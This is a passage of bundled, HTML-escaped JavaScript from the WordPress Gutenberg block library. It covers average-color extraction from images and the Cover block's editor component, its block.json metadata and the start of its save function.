          return result.error ? Promise.reject(result.error) : Promise.resolve(result);
        }
      };
      FastAverageColor2.prototype.getColor = function(resource, options2) {
        options2 = options2 || {};
        var defaultColor = getDefaultColor(options2);
        if (!resource) {
          outputError(&quot;call .getColor(null) without resource&quot;, options2.silent);
          return this.prepareResult(defaultColor);
        }
        var originalSize = getOriginalSize(resource);
        var size = prepareSizeAndPosition(originalSize, options2);
        if (!size.srcWidth || !size.srcHeight || !size.destWidth || !size.destHeight) {
          outputError(&#039;incorrect sizes for resource &quot;&#039;.concat(getSrc(resource), &#039;&quot;&#039;), options2.silent);
          return this.prepareResult(defaultColor);
        }
        if (!this.canvas) {
          this.canvas = makeCanvas();
        }
        if (!this.ctx) {
          this.ctx = this.canvas.getContext &amp;&amp; this.canvas.getContext(&quot;2d&quot;);
          if (!this.ctx) {
            outputError(&quot;Canvas Context 2D is not supported in this browser&quot;, options2.silent);
            return this.prepareResult(defaultColor);
          }
        }
        this.canvas.width = size.destWidth;
        this.canvas.height = size.destHeight;
        var value = defaultColor;
        try {
          this.ctx.clearRect(0, 0, size.destWidth, size.destHeight);
          this.ctx.drawImage(resource, size.srcLeft, size.srcTop, size.srcWidth, size.srcHeight, 0, 0, size.destWidth, size.destHeight);
          var bitmapData = this.ctx.getImageData(0, 0, size.destWidth, size.destHeight).data;
          value = this.getColorFromArray4(bitmapData, options2);
        } catch (e2) {
          outputError(&quot;security error (CORS) for resource &quot;.concat(getSrc(resource), &quot;.\nDetails: https://developer.mozilla.org/en/docs/Web/HTML/CORS_enabled_image&quot;), options2.silent, e2);
        }
        return this.prepareResult(value);
      };
      FastAverageColor2.prototype.getColorFromArray4 = function(arr, options2) {
        options2 = options2 || {};
        var bytesPerPixel = 4;
        var arrLength = arr.length;
        var defaultColor = getDefaultColor(options2);
        if (arrLength &lt; bytesPerPixel) {
          return defaultColor;
        }
        var len = arrLength - arrLength % bytesPerPixel;
        var step = (options2.step || 1) * bytesPerPixel;
        var algorithm;
        switch (options2.algorithm || &quot;sqrt&quot;) {
          case &quot;simple&quot;:
            algorithm = simpleAlgorithm;
            break;
          case &quot;sqrt&quot;:
            algorithm = sqrtAlgorithm;
            break;
          case &quot;dominant&quot;:
            algorithm = dominantAlgorithm;
            break;
          default:
            throw getError(&quot;&quot;.concat(options2.algorithm, &quot; is unknown algorithm&quot;));
        }
        return algorithm(arr, len, {
          defaultColor,
          ignoredColor: prepareIgnoredColor(options2.ignoredColor),
          step
        });
      };
      FastAverageColor2.prototype.prepareResult = function(value) {
        var rgb = value.slice(0, 3);
        var rgba = [value[0], value[1], value[2], value[3] / 255];
        var isDarkColor = isDark(value);
        return {
          value: [value[0], value[1], value[2], value[3]],
          rgb: &quot;rgb(&quot; + rgb.join(&quot;,&quot;) + &quot;)&quot;,
          rgba: &quot;rgba(&quot; + rgba.join(&quot;,&quot;) + &quot;)&quot;,
          hex: arrayToHex(rgb),
          hexa: arrayToHex(value),
          isDark: isDarkColor,
          isLight: !isDarkColor
        };
      };
      FastAverageColor2.prototype.destroy = function() {
        if (this.canvas) {
          this.canvas.width = 1;
          this.canvas.height = 1;
          this.canvas = null;
        }
        this.ctx = null;
      };
      FastAverageColor2.prototype.bindImageEvents = function(resource, options2) {
        var _this = this;
        return new Promise(function(resolve, reject) {
          var onload = function() {
            unbindEvents();
            var result = _this.getColor(resource, options2);
            if (result.error) {
              reject(result.error);
            } else {
              resolve(result);
            }
          };
          var onerror = function() {
            unbindEvents();
            reject(getError(&#039;Error loading image &quot;&#039;.concat(resource.src, &#039;&quot;.&#039;)));
          };
          var onabort = function() {
            unbindEvents();
            reject(getError(&#039;Image &quot;&#039;.concat(resource.src, &#039;&quot; loading aborted&#039;)));
          };
          var unbindEvents = function() {
            resource.removeEventListener(&quot;load&quot;, onload);
            resource.removeEventListener(&quot;error&quot;, onerror);
            resource.removeEventListener(&quot;abort&quot;, onabort);
          };
          resource.addEventListener(&quot;load&quot;, onload);
          resource.addEventListener(&quot;error&quot;, onerror);
          resource.addEventListener(&quot;abort&quot;, onabort);
        });
      };
      return FastAverageColor2;
    })()
  );

  // packages/block-library/build-module/cover/edit/color-utils.mjs
  var import_hooks20 = __toESM(require_hooks(), 1);
  k([names_default]);
  var DEFAULT_BACKGROUND_COLOR = &quot;#FFF&quot;;
  var DEFAULT_OVERLAY_COLOR = &quot;#000&quot;;
  function compositeSourceOver(source, dest) {
    return {
      r: source.r * source.a + dest.r * dest.a * (1 - source.a),
      g: source.g * source.a + dest.g * dest.a * (1 - source.a),
      b: source.b * source.a + dest.b * dest.a * (1 - source.a),
      a: source.a + dest.a * (1 - source.a)
    };
  }
  function retrieveFastAverageColor() {
    if (!retrieveFastAverageColor.fastAverageColor) {
      retrieveFastAverageColor.fastAverageColor = new FastAverageColor();
    }
    return retrieveFastAverageColor.fastAverageColor;
  }
  var getMediaColor = memize(async (url) =&gt; {
    if (!url) {
      return DEFAULT_BACKGROUND_COLOR;
    }
    const { r: r3, g: g2, b: b2, a: a2 } = w(DEFAULT_BACKGROUND_COLOR).toRgb();
    try {
      const imgCrossOrigin = (0, import_hooks20.applyFilters)(
        &quot;media.crossOrigin&quot;,
        void 0,
        url
      );
      const color = await retrieveFastAverageColor().getColorAsync(url, {
        // The default color is white, which is the color
        // that is returned if there&#039;s an error.
        // colord returns alpga 0-1, FAC needs 0-255
        defaultColor: [r3, g2, b2, a2 * 255],
        // Errors that come up don&#039;t reject the promise,
        // so error logging has to be silenced
        // with this option.
        silent: false,
        crossOrigin: imgCrossOrigin
      });
      return color.hex;
    } catch (error) {
      return DEFAULT_BACKGROUND_COLOR;
    }
  });
  function compositeIsDark(dimRatio, overlayColor, backgroundColor) {
    if (overlayColor === backgroundColor || dimRatio === 100) {
      return w(overlayColor).isDark();
    }
    const overlay = w(overlayColor).alpha(dimRatio / 100).toRgb();
    const background = w(backgroundColor).toRgb();
    const composite = compositeSourceOver(overlay, background);
    return w(composite).isDark();
  }

  // packages/block-library/build-module/cover/edit/index.mjs
  var import_jsx_runtime225 = __toESM(require_jsx_runtime(), 1);
  function getInnerBlocksTemplate(attributes2) {
    return [
      [
        &quot;core/paragraph&quot;,
        {
          style: {
            typography: {
              textAlign: &quot;center&quot;
            }
          },
          placeholder: (0, import_i18n52.__)(&quot;Write title\u2026&quot;),
          ...attributes2
        }
      ]
    ];
  }
  var isTemporaryMedia = (id, url) =&gt; !id &amp;&amp; (0, import_blob6.isBlobURL)(url);
  function CoverEdit({
    attributes: attributes2,
    clientId,
    isSelected,
    overlayColor,
    setAttributes,
    setOverlayColor,
    toggleSelection,
    context: { postId, postType }
  }) {
    const {
      contentPosition,
      id,
      url: originalUrl,
      backgroundType: originalBackgroundType,
      useFeaturedImage,
      dimRatio,
      focalPoint,
      hasParallax,
      isDark: isDark2,
      isRepeated,
      minHeight,
      minHeightUnit,
      alt,
      allowedBlocks,
      templateLock,
      tagName: TagName2 = &quot;div&quot;,
      isUserOverlayColor,
      sizeSlug,
      poster
    } = attributes2;
    const [featuredImage] = (0, import_core_data16.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;featured_media&quot;,
      postId
    );
    const { getSettings: getSettings2 } = (0, import_data30.useSelect)(import_block_editor67.store);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data30.useDispatch)(import_block_editor67.store);
    const propsRef = (0, import_element24.useRef)({ attributes: attributes2, overlayColor });
    (0, import_element24.useLayoutEffect)(() =&gt; {
      propsRef.current = { attributes: attributes2, overlayColor };
    });
    const { media } = (0, import_data30.useSelect)(
      (select9) =&gt; {
        return {
          media: featuredImage &amp;&amp; useFeaturedImage ? select9(import_core_data16.store).getEntityRecord(
            &quot;postType&quot;,
            &quot;attachment&quot;,
            featuredImage,
            {
              context: &quot;view&quot;
            }
          ) : void 0
        };
      },
      [featuredImage, useFeaturedImage]
    );
    const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url ?? media?.source_url;
    (0, import_element24.useEffect)(() =&gt; {
      (async () =&gt; {
        if (!useFeaturedImage) {
          return;
        }
        const averageBackgroundColor = await getMediaColor(mediaUrl);
        const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
        let newOverlayColor = currentOverlay.color;
        if (!currentAttrs.isUserOverlayColor) {
          newOverlayColor = averageBackgroundColor;
          __unstableMarkNextChangeAsNotPersistent();
          setOverlayColor(newOverlayColor);
        }
        const newIsDark = compositeIsDark(
          currentAttrs.dimRatio,
          newOverlayColor,
          averageBackgroundColor
        );
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          isDark: newIsDark,
          isUserOverlayColor: currentAttrs.isUserOverlayColor || false
        });
      })();
    }, [
      mediaUrl,
      __unstableMarkNextChangeAsNotPersistent,
      setAttributes,
      setOverlayColor,
      useFeaturedImage
    ]);
    const url = useFeaturedImage ? mediaUrl : (
      // Ensure the url is not malformed due to sanitization through `wp_kses`.
      originalUrl?.replaceAll(&quot;&amp;amp;&quot;, &quot;&amp;&quot;)
    );
    const backgroundType = useFeaturedImage ? IMAGE_BACKGROUND_TYPE : originalBackgroundType;
    const { createErrorNotice } = (0, import_data30.useDispatch)(import_notices4.store);
    const { gradientClass, gradientValue } = (0, import_block_editor67.__experimentalUseGradient)();
    const onSelectMedia = async (newMedia) =&gt; {
      const mediaAttributes = attributesFromMedia(newMedia);
      const isImage = [newMedia?.type, newMedia?.media_type].includes(
        IMAGE_BACKGROUND_TYPE
      );
      const averageBackgroundColor = await getMediaColor(
        isImage ? newMedia?.url : void 0
      );
      const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
      let newOverlayColor = currentOverlay.color;
      if (!currentAttrs.isUserOverlayColor) {
        newOverlayColor = averageBackgroundColor;
        setOverlayColor(newOverlayColor);
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newDimRatio = currentAttrs.url === void 0 &amp;&amp; currentAttrs.dimRatio === 100 ? 50 : currentAttrs.dimRatio;
      const newIsDark = compositeIsDark(
        newDimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      if (backgroundType === IMAGE_BACKGROUND_TYPE &amp;&amp; mediaAttributes?.id) {
        const { imageDefaultSize } = getSettings2();
        if (sizeSlug &amp;&amp; (newMedia?.sizes?.[sizeSlug] || newMedia?.media_details?.sizes?.[sizeSlug])) {
          mediaAttributes.sizeSlug = sizeSlug;
          mediaAttributes.url = newMedia?.sizes?.[sizeSlug]?.url || newMedia?.media_details?.sizes?.[sizeSlug]?.source_url;
        } else if (newMedia?.sizes?.[imageDefaultSize] || newMedia?.media_details?.sizes?.[imageDefaultSize]) {
          mediaAttributes.sizeSlug = imageDefaultSize;
          mediaAttributes.url = newMedia?.sizes?.[imageDefaultSize]?.url || newMedia?.media_details?.sizes?.[imageDefaultSize]?.source_url;
        } else {
          mediaAttributes.sizeSlug = DEFAULT_MEDIA_SIZE_SLUG;
        }
      }
      setAttributes({
        ...mediaAttributes,
        focalPoint: void 0,
        useFeaturedImage: void 0,
        dimRatio: newDimRatio,
        isDark: newIsDark,
        isUserOverlayColor: currentAttrs.isUserOverlayColor || false
      });
    };
    const onClearMedia = () =&gt; {
      let newOverlayColor = overlayColor.color;
      if (!isUserOverlayColor) {
        newOverlayColor = DEFAULT_OVERLAY_COLOR;
        setOverlayColor(void 0);
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newIsDark = compositeIsDark(
        dimRatio,
        newOverlayColor,
        DEFAULT_BACKGROUND_COLOR
      );
      setAttributes({
        url: void 0,
        id: void 0,
        backgroundType: void 0,
        focalPoint: void 0,
        hasParallax: void 0,
        isRepeated: void 0,
        useFeaturedImage: void 0,
        isDark: newIsDark
      });
    };
    const onSetOverlayColor = async (newOverlayColor) =&gt; {
      const averageBackgroundColor = await getMediaColor(url);
      const { attributes: currentAttrs } = propsRef.current;
      const newIsDark = compositeIsDark(
        currentAttrs.dimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      setOverlayColor(newOverlayColor);
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes({
        isUserOverlayColor: true,
        isDark: newIsDark
      });
    };
    const onUpdateDimRatio = async (newDimRatio) =&gt; {
      const averageBackgroundColor = await getMediaColor(url);
      const { overlayColor: currentOverlay } = propsRef.current;
      const newIsDark = compositeIsDark(
        newDimRatio,
        currentOverlay.color,
        averageBackgroundColor
      );
      setAttributes({
        dimRatio: newDimRatio,
        isDark: newIsDark
      });
    };
    const onUploadError = (message) =&gt; {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    };
    const onSelectEmbedUrl = (embedUrl) =&gt; {
      const newDimRatio = originalUrl === void 0 &amp;&amp; dimRatio === 100 ? 50 : dimRatio;
      setAttributes({
        url: embedUrl,
        backgroundType: EMBED_VIDEO_BACKGROUND_TYPE,
        dimRatio: newDimRatio,
        id: void 0,
        focalPoint: void 0,
        hasParallax: void 0,
        isRepeated: void 0,
        useFeaturedImage: void 0
      });
    };
    const { embedPreview, isFetchingEmbed } = (0, import_data30.useSelect)(
      (select9) =&gt; {
        if (backgroundType !== EMBED_VIDEO_BACKGROUND_TYPE || !url) {
          return {
            embedPreview: void 0,
            isFetchingEmbed: false
          };
        }
        const { getEmbedPreview, isRequestingEmbedPreview } = select9(import_core_data16.store);
        return {
          embedPreview: getEmbedPreview(url),
          isFetchingEmbed: isRequestingEmbedPreview(url)
        };
      },
      [url, backgroundType]
    );
    const embedHtml = (0, import_element24.useMemo)(() =&gt; {
      if (backgroundType !== EMBED_VIDEO_BACKGROUND_TYPE || !embedPreview?.html) {
        return null;
      }
      return getBackgroundEmbedHtml(embedPreview.html);
    }, [embedPreview, backgroundType]);
    const isUploadingMedia = isTemporaryMedia(id, url);
    const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
    const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
    const isEmbedVideoBackground = EMBED_VIDEO_BACKGROUND_TYPE === backgroundType;
    const blockEditingMode = (0, import_block_editor67.useBlockEditingMode)();
    const hasNonContentControls = blockEditingMode === &quot;default&quot;;
    const [resizeListener, { height, width }] = (0, import_compose17.useResizeObserver)();
    const resizableBoxDimensions = (0, import_element24.useMemo)(() =&gt; {
      return {
        height: minHeightUnit === &quot;px&quot; &amp;&amp; minHeight ? minHeight : &quot;auto&quot;,
        width: &quot;auto&quot;
      };
    }, [minHeight, minHeightUnit]);
    const minHeightWithUnit = minHeight &amp;&amp; minHeightUnit ? `${minHeight}${minHeightUnit}` : minHeight;
    const isImgElement = !(hasParallax || isRepeated);
    const style2 = {
      minHeight: minHeightWithUnit || void 0
    };
    const backgroundImage = url ? `url(${url})` : void 0;
    const backgroundPosition = mediaPosition(focalPoint);
    const bgStyle = { backgroundColor: overlayColor.color };
    const mediaStyle = {
      objectPosition: focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
    };
    const hasBackground = !!(url || overlayColor.color || gradientValue);
    const hasInnerBlocks = (0, import_data30.useSelect)(
      (select9) =&gt; select9(import_block_editor67.store).getBlock(clientId).innerBlocks.length &gt; 0,
      [clientId]
    );
    const ref = (0, import_element24.useRef)();
    const blockProps = (0, import_block_editor67.useBlockProps)({ ref });
    const [fontSizes] = (0, import_block_editor67.useSettings)(&quot;typography.fontSizes&quot;);
    const hasFontSizes = fontSizes?.length &gt; 0;
    const innerBlocksTemplate = getInnerBlocksTemplate({
      fontSize: hasFontSizes ? &quot;large&quot; : void 0
    });
    const innerBlocksProps = (0, import_block_editor67.useInnerBlocksProps)(
      {
        className: &quot;wp-block-cover__inner-container&quot;
      },
      {
        // Avoid template sync when the `templateLock` value is `all` or `contentOnly`.
        // See: https://github.com/WordPress/gutenberg/pull/45632
        template: !hasInnerBlocks ? innerBlocksTemplate : void 0,
        templateInsertUpdatesSelection: true,
        allowedBlocks,
        templateLock,
        dropZoneElement: ref.current
      }
    );
    const mediaElement = (0, import_element24.useRef)();
    const currentSettings = {
      isVideoBackground,
      isImageBackground,
      mediaElement,
      hasInnerBlocks,
      url,
      isImgElement,
      overlayColor
    };
    const toggleUseFeaturedImage = async () =&gt; {
      const newUseFeaturedImage = !useFeaturedImage;
      const averageBackgroundColor = newUseFeaturedImage ? await getMediaColor(mediaUrl) : DEFAULT_BACKGROUND_COLOR;
      const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
      const newOverlayColor = !currentAttrs.isUserOverlayColor ? averageBackgroundColor : currentOverlay.color;
      if (!currentAttrs.isUserOverlayColor) {
        if (newUseFeaturedImage) {
          setOverlayColor(newOverlayColor);
        } else {
          setOverlayColor(void 0);
        }
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newDimRatio = currentAttrs.dimRatio === 100 ? 50 : currentAttrs.dimRatio;
      const newIsDark = compositeIsDark(
        newDimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      setAttributes({
        id: void 0,
        url: void 0,
        useFeaturedImage: newUseFeaturedImage,
        dimRatio: newDimRatio,
        backgroundType: useFeaturedImage ? IMAGE_BACKGROUND_TYPE : void 0,
        isDark: newIsDark
      });
    };
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
      CoverBlockControls,
      {
        attributes: attributes2,
        setAttributes,
        onSelectMedia,
        onSelectEmbedUrl,
        currentSettings,
        toggleUseFeaturedImage,
        onClearMedia,
        blockEditingMode
      }
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
      CoverInspectorControls,
      {
        attributes: attributes2,
        setAttributes,
        clientId,
        setOverlayColor: onSetOverlayColor,
        coverRef: ref,
        currentSettings,
        toggleUseFeaturedImage,
        updateDimRatio: onUpdateDimRatio,
        onClearMedia,
        featuredImage: media
      }
    );
    const resizableCoverProps = {
      className: &quot;block-library-cover__resize-container&quot;,
      clientId,
      height,
      minHeight: minHeightWithUnit,
      onResizeStart: () =&gt; {
        setAttributes({ minHeightUnit: &quot;px&quot; });
        toggleSelection(false);
      },
      onResize: (value) =&gt; {
        setAttributes({ minHeight: value });
      },
      onResizeStop: (newMinHeight) =&gt; {
        toggleSelection(true);
        setAttributes({ minHeight: newMinHeight });
      },
      // Hide the resize handle if an aspect ratio is set, as the aspect ratio takes precedence.
      showHandle: !attributes2.style?.dimensions?.aspectRatio,
      size: resizableBoxDimensions,
      width
    };
    if (!useFeaturedImage &amp;&amp; !hasInnerBlocks &amp;&amp; !hasBackground) {
      return /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(import_jsx_runtime225.Fragment, { children: [
        blockControls,
        inspectorControls,
        hasNonContentControls &amp;&amp; isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(ResizableCoverPopover, { ...resizableCoverProps }),
        /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(
          TagName2,
          {
            ...blockProps,
            className: clsx_default(&quot;is-placeholder&quot;, blockProps.className),
            style: {
              ...blockProps.style,
              minHeight: minHeightWithUnit || void 0
            },
            children: [
              resizeListener,
              /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                CoverPlaceholder,
                {
                  onSelectMedia,
                  onError: onUploadError,
                  toggleUseFeaturedImage,
                  children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(&quot;div&quot;, { className: &quot;wp-block-cover__placeholder-background-options&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                    import_block_editor67.ColorPalette,
                    {
                      disableCustomColors: true,
                      value: overlayColor.color,
                      onChange: onSetOverlayColor,
                      clearable: false,
                      asButtons: true,
                      &quot;aria-label&quot;: (0, import_i18n52.__)(&quot;Overlay color&quot;)
                    }
                  ) })
                }
              )
            ]
          }
        )
      ] });
    }
    const classes = clsx_default(
      {
        &quot;is-dark-theme&quot;: isDark2,
        &quot;is-light&quot;: !isDark2,
        &quot;is-transient&quot;: isUploadingMedia,
        &quot;has-parallax&quot;: hasParallax,
        &quot;is-repeated&quot;: isRepeated,
        &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
      },
      getPositionClassName(contentPosition)
    );
    const showOverlay = url || !useFeaturedImage || useFeaturedImage &amp;&amp; !url;
    return /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(import_jsx_runtime225.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(
        TagName2,
        {
          ...blockProps,
          className: clsx_default(classes, blockProps.className),
          style: { ...style2, ...blockProps.style },
          &quot;data-url&quot;: url,
          children: [
            resizeListener,
            !url &amp;&amp; useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              import_components34.Placeholder,
              {
                className: &quot;wp-block-cover__image--placeholder-image&quot;,
                withIllustration: true
              }
            ),
            url &amp;&amp; isImageBackground &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              &quot;img&quot;,
              {
                ref: mediaElement,
                className: &quot;wp-block-cover__image-background&quot;,
                alt,
                src: url,
                style: mediaStyle
              }
            ) : /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              &quot;div&quot;,
              {
                ref: mediaElement,
                role: alt ? &quot;img&quot; : void 0,
                &quot;aria-label&quot;: alt ? alt : void 0,
                className: clsx_default(
                  classes,
                  &quot;wp-block-cover__image-background&quot;
                ),
                style: { backgroundImage, backgroundPosition }
              }
            )),
            url &amp;&amp; isVideoBackground &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              &quot;video&quot;,
              {
                ref: mediaElement,
                className: &quot;wp-block-cover__video-background&quot;,
                autoPlay: true,
                muted: true,
                loop: true,
                src: url,
                poster,
                style: mediaStyle
              }
            ),
            isEmbedVideoBackground &amp;&amp; embedHtml &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              &quot;div&quot;,
              {
                ref: mediaElement,
                className: &quot;wp-block-cover__video-background wp-block-cover__embed-background&quot;,
                style: mediaStyle,
                children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                  import_components34.SandBox,
                  {
                    allowSameOrigin: true,
                    html: embedHtml,
                    title: &quot;Background video&quot;,
                    styles: [
                      &quot;iframe{position:fixed;top:0;left:0;width:100%;height:100%;}&quot;
                    ]
                  }
                )
              }
            ),
            isEmbedVideoBackground &amp;&amp; !embedHtml &amp;&amp; isFetchingEmbed &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(import_components34.Spinner, {}),
            showOverlay &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              &quot;span&quot;,
              {
                &quot;aria-hidden&quot;: &quot;true&quot;,
                className: clsx_default(
                  &quot;wp-block-cover__background&quot;,
                  dimRatioToClass(dimRatio),
                  {
                    [overlayColor.class]: overlayColor.class,
                    &quot;has-background-dim&quot;: dimRatio !== void 0,
                    // For backwards compatibility. Former versions of the Cover Block applied
                    // `.wp-block-cover__gradient-background` in the presence of
                    // media, a gradient and a dim.
                    &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                    &quot;has-background-gradient&quot;: gradientValue,
                    [gradientClass]: gradientClass
                  }
                ),
                style: { backgroundImage: gradientValue, ...bgStyle }
              }
            ),
            isUploadingMedia &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(import_components34.Spinner, {}),
            /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              CoverPlaceholder,
              {
                disableMediaButtons: true,
                onSelectMedia,
                onError: onUploadError,
                toggleUseFeaturedImage
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(&quot;div&quot;, { ...innerBlocksProps })
          ]
        }
      ),
      hasNonContentControls &amp;&amp; isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(ResizableCoverPopover, { ...resizableCoverProps })
    ] });
  }
  var edit_default7 = (0, import_compose17.compose)([
    (0, import_block_editor67.withColors)({ overlayColor: &quot;background-color&quot; })
  ])(CoverEdit);

  // packages/block-library/build-module/cover/block.json
  var block_default31 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/cover&quot;,
    title: &quot;Cover&quot;,
    category: &quot;media&quot;,
    description: &quot;Add an image or video with a text overlay.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      url: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      useFeaturedImage: {
        type: &quot;boolean&quot;,
        default: false
      },
      id: {
        type: &quot;number&quot;
      },
      alt: {
        type: &quot;string&quot;,
        default: &quot;&quot;
      },
      hasParallax: {
        type: &quot;boolean&quot;,
        default: false
      },
      isRepeated: {
        type: &quot;boolean&quot;,
        default: false
      },
      dimRatio: {
        type: &quot;number&quot;,
        default: 100
      },
      overlayColor: {
        type: &quot;string&quot;
      },
      customOverlayColor: {
        type: &quot;string&quot;
      },
      isUserOverlayColor: {
        type: &quot;boolean&quot;
      },
      backgroundType: {
        type: &quot;string&quot;,
        default: &quot;image&quot;
      },
      focalPoint: {
        type: &quot;object&quot;
      },
      minHeight: {
        type: &quot;number&quot;
      },
      minHeightUnit: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      },
      contentPosition: {
        type: &quot;string&quot;
      },
      isDark: {
        type: &quot;boolean&quot;,
        default: true
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      poster: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;poster&quot;
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    supports: {
      anchor: true,
      align: true,
      html: false,
      shadow: true,
      spacing: {
        padding: true,
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      color: {
        heading: true,
        text: true,
        background: false,
        __experimentalSkipSerialization: [&quot;gradients&quot;],
        enableContrastChecker: false
      },
      dimensions: {
        aspectRatio: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowJustification: false
      },
      interactivity: {
        clientNavigation: true
      },
      filter: {
        duotone: true
      },
      allowedBlocks: true
    },
    selectors: {
      filter: {
        duotone: &quot;.wp-block-cover &gt; .wp-block-cover__image-background, .wp-block-cover &gt; .wp-block-cover__video-background&quot;
      }
    },
    editorStyle: &quot;wp-block-cover-editor&quot;,
    style: &quot;wp-block-cover&quot;
  };

  // packages/block-library/build-module/cover/save.mjs
  var import_block_editor68 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime226 = __toESM(require_jsx_runtime(), 1);
  function save14({ attributes: attributes2 }) {
    const {
      backgroundType,
      gradient,
      contentPosition,
      customGradient,
      customOverlayColor,
      dimRatio,
      focalPoint,
      useFeaturedImage,
      hasParallax,
      isDark: isDark2,
      isRepeated,
      overlayColor,
      url,
      alt,
      id,
      minHeight: minHeightProp,
      minHeightUnit,
      tagName: Tag,
      sizeSlug,
      poster
    } = attributes2;
    const overlayColorClass = (0, import_block_editor68.getColorClassName)(
      &quot;background-color&quot;,
      overlayColor
    );
    const gradientClass = (0, import_block_editor68.__experimentalGetGradientClass)(gradient);
    const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
    const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
    const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
    const isEmbedVideoBackground = EMBED_VIDEO_BACKGROUND_TYPE === backgroundType;
    const isImgElement = !(hasParallax || isRepeated);
    const style2 = {
      minHeight: minHeight || void 0
    };
    const bgStyle = {
      backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
      background: customGradient ? customGradient : void 0
    };
    const objectPosition = (
      // prettier-ignore
      focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
    );
    const backgroundImage = url ? `url(${url})` : void 0;
    const backgroundPosition = mediaPosition(focalPoint);
    const classes = clsx_default(
      {
        &quot;is-light&quot;: !isDark2,
        &quot;has-parallax&quot;: hasParallax,
        &quot;is-repeated&quot;: isRepeated,
        &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
      },
      getPositionClassName(contentPosition)
    );
    const imgClasses = clsx_default(
      &quot;wp-block-cover__image-background&quot;,
      id ? `wp-image-${id}` : null,
      {
        [`size-${sizeSlug}`]: sizeSlug,
        &quot;has-parallax&quot;: hasParallax,
        &quot;is-repeated&quot;: isRepeated
      }
    );
    const gradientValue = gradient || customGradient;
    return /* @__PURE__ */ (0, import_jsx_runtime226.jsxs)(Tag, { ...import_block_editor68.useBlockProps.save({ className: classes, style: style2 }), children: [
      !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; url &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;img&quot;,
        {
          className: imgClasses,
          alt,
          src: url,
          style: { objectPosition },
          &quot;data-object-fit&quot;: &quot;cover&quot;,
          &quot;data-object-position&quot;: objectPosition
        }
